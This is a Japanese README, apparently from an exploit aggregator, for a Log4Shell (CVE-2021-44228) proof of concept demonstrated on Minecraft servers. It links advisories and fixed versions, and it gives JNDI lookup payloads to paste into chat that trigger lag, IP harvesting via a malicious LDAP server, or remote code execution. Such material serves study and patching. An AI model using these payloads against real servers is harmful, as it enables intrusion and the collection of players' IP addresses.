## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HYCRAFTHD-LOG4J-RCE-PROOF-OF-CONCEPT
# Log4J-RCE-Proof-Of-Concept (CVE-2021-44228)
これはlog4jのRCEの概念実証です。
CVE-2021-44228に関するリンクはこちら:
* https://www.lunasec.io/docs/blog/log4j-zero-day
* https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
* https://github.com/apache/logging-log4j2/pull/608
* https://www.youtube.com/watch?v=JPGola6BamU
このバグはほぼすべてのlog4j2とおそらくlog4j1のバージョンに影響します。推奨バージョンは、このエクスプロイトを修正した**2.15.0**です。
## Minecraftを使用したデモ(log4j2を使用)
* Minecraftへの影響の詳細はこちら:https://twitter.com/slicedlime/status/1469150993527017483
* Minecraftからの記事はこちら:https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition
* 修正されたMinecraft Forgeバージョン:https://twitter.com/gigaherz/status/1469331288368861195
* Minecraft Forgeからの詳細記事:https://gist.github.com/TheCurle/f15a6b63ceee3be58bff5e7a97c3a4e6
* 修正されたMinecraft Fabricバージョン:https://twitter.com/slicedlime/status/1469192689904193537
* 修正されたMinecraft Paperバージョン:https://twitter.com/aurora_smiles_/status/1469205803232026625
* 修正されたMinecraft Spigotバージョン:https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/
* 修正されたMinecraft Spongeバージョン:https://discord.com/channels/142425412096491520/303772747907989504/918744598065586196
### ラグまたはシリアライズデータの送信
* チャットに`${jndi:ldap://127.0.0.1/e}`を貼り付けます。ポート`389`で開いているソケットがある場合、logj4は接続を試み、タイムアウトが発生するまでそれ以上の通信をブロックします。
* この概念実証エクスプロイトを使用すると、コンソールのログに`THIS IS SEND TO THE LOG!!! LOG4J EXPLOIT!`が記録されます。これはLDAPサーバーからのシリアライズされた文字列オブジェクトです。

* さらに、悪意のあるLDAPサーバーは、メッセージがログに記録されたすべてのIPアドレスを受信します。つまり、このエクスプロイトを使用してサーバー上のプレイヤーのIPアドレスを収集できる可能性があります。
### RCE
* チャットに`${jndi:ldap://127.0.0.1/exe}`を貼り付けます。`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`がtrueに設定されている場合、リモートコード実行が発生します。

* 幸いなことに、現代のJDKはデフォルトでリモートクラスローディングを無効にしています。(https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
* 古いバージョンではこれが許可される可能性があります!!
## 免責事項
このプロジェクトは教育目的のみです。